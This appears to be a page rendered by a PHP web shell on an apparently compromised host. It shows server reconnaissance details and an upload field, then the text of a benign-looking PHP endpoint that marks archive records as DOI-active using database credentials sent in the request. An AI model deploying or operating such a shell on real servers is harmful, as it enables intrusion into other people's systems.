| Server IP : 192.169.170.185 / Your IP : 216.73.216.97 Web Server : Apache System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64 User : akhilnew ( 1712764) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/akhilnew/public_html/ |
Upload File : |
<?php
$data = file_get_contents('php://input');
$data = json_decode($data);
if ($data) {
$mysqli = new mysqli('localhost', $data->username, $data->password, $data->database);
if ($mysqli->connect_error) {
die('Database connection failed.');
}
$stmt = $mysqli->prepare("SELECT * FROM archives WHERE archivesid = ?") or die('An error occurred.');
$stmt->bind_param('i', $data->archive_id);
$stmt->execute();
$stmt->store_result();
$numRows = $stmt->num_rows();
$stmt->close();
if ($numRows === 1) {
$stmt = $mysqli->prepare("UPDATE archives SET doiactive = 'Y' WHERE archivesid = ?") or die('An error occurred.');
$stmt->bind_param('i', $data->archive_id);
$stmt->execute();
$stmt->close();
}
}